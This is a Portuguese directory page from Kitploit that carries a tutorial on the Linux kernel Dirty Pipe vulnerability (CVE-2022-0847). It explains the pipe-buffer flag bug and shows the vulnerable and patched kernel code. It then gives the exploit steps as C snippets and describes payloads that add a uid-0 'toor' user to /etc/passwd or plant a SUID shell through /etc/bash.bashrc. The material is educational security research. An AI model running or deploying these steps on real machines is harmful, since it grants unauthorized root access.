Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug- — Exploiting CVE-2022-0847 - written by : Antonius (w1sdom) | Kitploit
Ferramentas/GitHubGitHub/bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-
Privilege EscalationVulnerability AnalysisCode AnalysisExploitationCTFLearning & EducationBinary ExploitationLabs & Practice

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
bluedragonsecurity/linux-kernel-dirty-pipe-exploitation-logic-bug-

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)

Ver Repositório
31há 6 mesesAinda não revisado

Exploração do Dirty Pipe no Kernel Linux (Bug de Lógica)


por: Antonius (w1sdom)
https://www.bluedragonsec.com
https://github.com/bluedragonsecurity

Dirty Pipe (CVE-2022-0847) é uma das vulnerabilidades de segurança mais significativas no Kernel Linux 5.8 – 5.15.24, descoberta por Max Kellermann em 2022. Esta vulnerabilidade permite que usuários comuns (sem privilégios especiais) sobrescrevam dados em arquivos que deveriam ser somente leitura. Entendendo Conceitos Principais

Antes de discutir Dirty Pipe em detalhes, aqui estão alguns conceitos internos do kernel Linux que precisam ser compreendidos:

1. Paginação (Paging)
Paginação é um mecanismo de gerenciamento de memória no kernel Linux onde o sistema de memória divide a memória física em pequenos blocos de tamanho fixo chamados page frames, e a memória virtual é dividida em blocos do mesmo tamanho chamados páginas. Esse mecanismo permite que o kernel mapeie o espaço de endereço virtual dos processos para a memória física de forma não sequencial, o que é crucial para eficiência e segurança em sistemas modernos.

2. Página (Memória Virtual)
No Linux, uma página é a menor unidade de gerenciamento de memória física manipulada pelo kernel. Analogia: A RAM é como um livro gigante. Uma página é uma folha de papel naquele livro. O kernel não move dados bit a bit, mas sim folha por folha (página por página). Geralmente, em arquiteturas de sistemas modernos (como x86_64), o tamanho padrão de uma página é 4 KB (4096 bytes).

3. Page Cache (Cache de Páginas)
Esta é uma parte crucial. O Linux não lê arquivos diretamente do disco toda vez porque é lento. O kernel copia o conteúdo dos arquivos na RAM chamada Page Cache.

  • Quando lemos um arquivo, o kernel o carrega no Page Cache.
  • Se outro processo quiser ler o mesmo arquivo, o kernel fornece apenas uma referência à página que já existe nessa memória.
O Page Cache reside no espaço do kernel.

4. Pipe Buffer (Buffer de Pipe)
Pipe é um mecanismo de Comunicação entre Processos (IPC). Internamente, o kernel gerencia pipes usando a estrutura de dados pipe_inode_info. Os dados dentro de um pipe são armazenados em um "buffer" chamado Pipe Buffer.

  • Ring Buffer: O kernel usa uma estrutura circular (anel) para gerenciar esse buffer. Um ring buffer é uma estrutura de dados que usa um único array com tamanho fixo como se seu final estivesse conectado de volta ao seu início. Isso cria um fluxo de dados que "gira" infinitamente.
  • Flags: Cada buffer possui atributos ou "flags" que determinam seu comportamento (por exemplo, se o buffer pode ser mesclado).
O Pipe Buffer reside no espaço do kernel.

5. Flag do Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
A flag PIPE_BUF_FLAG_CAN_MERGE foi introduzida no Kernel Linux versão 5.8. É aqui que reside a principal vulnerabilidade. A flag chamada PIPE_BUF_FLAG_CAN_MERGE.

  • Sua função: Diz ao kernel que novos dados escritos no pipe podem ser mesclados em um buffer existente.
  • O problema: Antes da correção do Dirty Pipe, o kernel não limpava (redefinia) corretamente essa flag ao realizar splice().

6. Splice
splice() é uma syscall para mover dados entre dois descritores de arquivo sem copiar os dados entre o espaço do kernel e o espaço do usuário. Isso é frequentemente chamado de mecanismo Zero-copy. A syscall splice() é o "ator principal" no Dirty Pipe:

  • Em vez de copiar fisicamente os dados, splice() realiza uma otimização fazendo o Pipe Buffer apontar diretamente para a página no Page Cache.
  • Isso significa que o pipe não contém uma cópia dos dados do arquivo, mas apenas um "ponteiro" para a memória física do arquivo.

7. Copy on Write (CoW)
O mecanismo Copy-on-Write (CoW) é uma estratégia de otimização de gerenciamento de memória usada pelo kernel Linux para adiar a cópia de dados até que seja absolutamente necessário. A relação entre Copy-on-Write (CoW) e o exploit Dirty Pipe (CVE-2022-0847) é sobre como um pequeno bug no kernel Linux "engana" com sucesso o mecanismo CoW, permitindo que dados sejam escritos em arquivos que deveriam ser somente leitura.

8. Dirty Page (Página Suja)
Uma dirty page é uma página de memória na RAM que foi modificada por uma aplicação, mas as alterações ainda não foram gravadas de volta no armazenamento secundário (como SSD ou disco rígido).

Análise da Vulnerabilidade Dirty Pipe

Dirty Pipe é um tipo de bug de lógica no tratamento do pipe buffer no kernel Linux 5.8 até o kernel Linux 5.15.24. O principal problema está no mecanismo Pipe (canal de comunicação entre processos) e como o kernel gerencia o Page Cache (memória que armazena cópias de dados de arquivos do disco). A questão central é um bug na flag PIPE_BUF_FLAG_CAN_MERGE.

O principal problema reside na falha do kernel em redefinir adequadamente essa flag (bug de lógica). Aqui está a análise do código: Nas funções copy_page_to_iter_pipe e push_to_pipe no kernel Linux anterior à versão 5.16.11, ao realizar operações splice, o kernel prepara a estrutura pipe_buffer mas esquece de limpar o membro .flags.

Estrutura de Código Vulnerável:

root@kitploit:~
// Local do problema: fs/pipe.c ou include/linux/pipe_fs_i.h
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags; // <--- ESTA FLAG NÃO É REDEFINIDA
    unsigned long private;
};

Código Antes do Patch (Vulnerável):

root@kitploit:~
// lib/iov_iter.c - Antes do patch do CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
    size_t offset, size_t bytes, struct iov_iter *i) {
    // ---------snip-----------
    struct pipe_buffer *buf = &pipe->bufs[head & mask];
root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEMA: buf->flags NÃO É TOCADO
// --------snip----------------------

}

Código Após o Patch (Corrigido):

root@kitploit:~
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
buf->flags = 0; // <--- REDEFINIÇÃO TOTAL PARA ZERO

Por que buf->flags = 0 é melhor do que apenas desligar uma flag específica? Porque pipe_buffer é uma estrutura reutilizada. Se apenas desligarmos uma flag (CAN_MERGE), outras flags lixo de usos anteriores do pipe (como PIPE_BUF_FLAG_GIFT ou outras flags personalizadas) podem permanecer e causar comportamento estranho ou novas falhas de segurança no futuro. Definir como 0 garante que o buffer esteja em um estado completamente "limpo".

Por que Isso Pode Ser Explorado?
Aqui está o fluxo de exploração do Dirty Pipe:
1. Estágio de Poluição: O invasor insere dados no pipe via write(). Uma operação write() normal define buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Estágio de Drenagem: O invasor lê esses dados. O buffer está agora logicamente "vazio", mas sua estrutura ainda existe na memória do kernel com a flag CAN_MERGE ainda ativa.
3. Estágio Splice: Quando a syscall splice() mapeia um arquivo somente leitura para o pipe, a função copy_page_to_iter_pipe() é chamada. Devido ao bug acima, ela preenche buf->page com a página de memória do arquivo original, mas não redefine buf->flags.
4. Execução: O kernel pensa que este buffer de arquivo ainda pode ser mesclado. A próxima escrita no pipe não criará um novo buffer, mas na verdade modificará diretamente a página de memória (Page Cache) que foi mapeada anteriormente.

Neste estágio, os dados do invasor já estão armazenados na RAM. Uma página na RAM cujo conteúdo difere do que está no disco é chamada de "Dirty Page". Se este estágio for alcançado com sucesso, significa que a exploração teve sucesso! Uma vez que o Page Cache muda, o efeito é instantâneo. Se sobrescrevermos /etc/passwd na RAM, podemos executar imediatamente su root naquele exato momento.

Exploração do Dirty Pipe

Para a exploração do Dirty Pipe, não precisamos desabilitar nenhuma proteção do kernel, pois todas as proteções do kernel são irrelevantes para prevenir este bug de lógica. Para explorar o bug de lógica do Dirty Page, nosso exploit realizará os seguintes passos:

Passo 1. Prepare o pipe e encha o pipe até o máximo com o objetivo de acionar a flag PIPE_BUF_FLAG_CAN_MERGE.

root@kitploit:~
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    write(p[1], dummy, n);
    r -= n;
}

Passo 2. Esvazie o pipe.

root@kitploit:~
for (int r = capacity; r > 0; ) {
    int n = r > sizeof(dummy) ? sizeof(dummy) : r;
    read(p[0], dummy, n);
    r -= n;
}
Passo 3. Use splice() para inserir dados do arquivo alvo no pipe.
root@kitploit:~
 
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
    perror("[-] splice falhou");
    return 0;
}
Passo 4. Escreva os dados do payload no pipe.
root@kitploit:~
write(p[1], payload, strlen(payload));

Código de Exploit Completo para Exploração do Dirty Pipe O código de exploit completo está disponível em https://github.com/bluedragonsecurity/dirtypipe2

Nota: O código de exploit completo contém funções para validação da versão do kernel, preparação do pipe, injeção de payload e dois métodos de exploração diferentes visando /etc/passwd e /etc/bash.bashrc.

Métodos de Exploração

O exploit acima usa 2 payloads diferentes com o objetivo de que, se o primeiro payload falhar, ele será encadeado pelo segundo payload.
Payload 1: Escreve em /etc/passwd para adicionar um novo usuário chamado 'toor' com uid 0. Se este payload tiver sucesso, podemos obter imediatamente um shell root.
Payload 2: Visa deixar um shell SUID bash em /tmp/x. Especificamente para o segundo payload, ele deve esperar que o usuário root do sistema faça login, pois o payload para deixar o shell SUID é injetado em /etc/bash.bashrc. No Linux, os comandos contidos em /etc/bash.bashrc são executados por todo usuário que faz login no sistema no momento do login.

Testando o Exploit

Neste exemplo, usei o kernel Linux 5.13 rodando no Lubuntu 20.04.5 no VirtualBox como sistema operacional convidado e o sistema operacional anfitrião é Kali Linux 2025.4. Na máquina Lubuntu 20.04.5, compile o exploit:

root@kitploit:~
gcc -o dirtypipe2 dirtypipe2.c

Execute o exploit:
root@kitploit:~
  ./dirtypipe2

e finalmente, obtivemos shell root :

Referências

  • Divulgação original: https://dirtypipe.cm4all.com/
  • CVE-2022-0847: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

• Patch do kernel Linux: commit 9d2231c5d74e13b2a0546fee6737ee4446017903 • Código do exploit: https://github.com/bluedragonsecurity
Baixar ferramenta